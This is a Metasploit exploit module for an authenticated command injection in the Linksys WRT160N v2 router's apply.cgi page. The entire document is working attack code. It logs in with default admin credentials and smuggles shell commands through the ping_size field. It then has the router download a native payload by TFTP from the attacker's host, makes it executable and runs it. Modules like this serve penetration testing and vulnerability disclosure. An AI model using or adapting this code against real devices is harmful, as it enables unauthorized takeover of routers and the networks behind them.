Linksys WRT160N v2 – ‘apply.cgi’ Remote Command Injection (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex/proto/tftp' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Linksys WRT160nv2 apply.cgi Remote Command Injection', 'Description' => %q{ Some Linksys Routers are vulnerable to an authenticated OS command injection on their web interface where default credentials are admin/admin or admin/password. Since it is a blind OS command injection vulnerability, there is no output for the executed command when using the cmd generic payload. This module has been tested on a Linksys WRT160n version 2 - firmware version v2.0.03. A ping command against a controlled system could be used for testing purposes. The exploit uses the tftp client from the device to stage to native payloads from the command injection. }, 'Author' => [ 'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, 'References' => [ [ 'BID', '57887' ], [ 'EDB', '24478' ], [ 'OSVDB', '90093' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-012' ] ], 'DisclosureDate' => 'Feb 11 2013', 'Privileged' => true, 'Platform' => ['linux','unix'], 'Payload' => { 'DisableNops' => true }, 'Targets' => [ [ 'CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ], [ 'Linux mipsel Payload', { 'Arch' => ARCH_MIPSLE, 'Platform' => 'linux' } ], ], 'DefaultTarget' => 1 )) register_options( [ OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]), OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]), OptAddress.new('LHOST', [ true, 'The listen IP address from where the victim downloads the MIPS payload' ]), OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10]) ], self.class) end def request(cmd,user,pass,uri) begin res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', 'authorization' => basic_auth(user,pass), 'vars_post' => { "submit_button" => "Diagnostics", "change_action" => "gozila_cgi", "submit_type" => "start_ping", "action" => "", "commit" => "0", "ping_ip" => "1.1.1.1", "ping_size" => "&#{cmd}&", "ping_times" => "5", "traceroute_ip" => "" } }) return res rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") return nil end end def exploit downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(4)) uri = '/apply.cgi' user = datastore['USERNAME'] pass = datastore['PASSWORD'] lhost = datastore['LHOST'] # # testing Login # print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") begin res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', 'authorization' => basic_auth(user,pass) }) if res.nil? or res.code == 404 fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end if [200, 301, 302].include?(res.code) print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") else fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end rescue ::Rex::ConnectionError fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") end if target.name =~ /CMD/ if not (datastore['CMD']) fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded res = request(cmd,user,pass,uri) if (!res) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") else print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") end return end #thx to Juan for his awesome work on the mipsel elf support @pl = generate_payload_exe # # start our server # print_status("#{rhost}:#{rport} - Starting up our TFTP service") @tftp = Rex::Proto::TFTP::Server.new @tftp.register_file(downfile,@pl,true) @tftp.start # # download payload # print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{downfile}") #this filename is used to store the payload on the device -> we have limited space for the filename! filename = rand_text_alpha_lower(4) #not working if we send all command together -> lets take three requests cmd = "tftp -l /tmp/#{filename} -r #{downfile} -g #{lhost}" res = request(cmd,user,pass,uri) if (!res) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end # wait for payload download if (datastore['DOWNHOST']) print_status("#{rhost}:#{rport} - Giving #{datastore['DELAY']} seconds to the Linksys device to download the payload") select(nil, nil, nil, datastore['DELAY']) else wait_linux_payload end @tftp.stop register_file_for_cleanup("/tmp/#{filename}") # # chmod # cmd = "chmod 777 /tmp/#{filename}" print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}") res = request(cmd,user,pass,uri) if (!res) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end # # execute # cmd = "/tmp/#{filename}" print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}") res = request(cmd,user,pass,uri) if (!res) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end end # wait for the data to be sent def wait_linux_payload print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") waited = 0 while (not @tftp.files.length == 0) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['DELAY']) @tftp.stop fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end end end |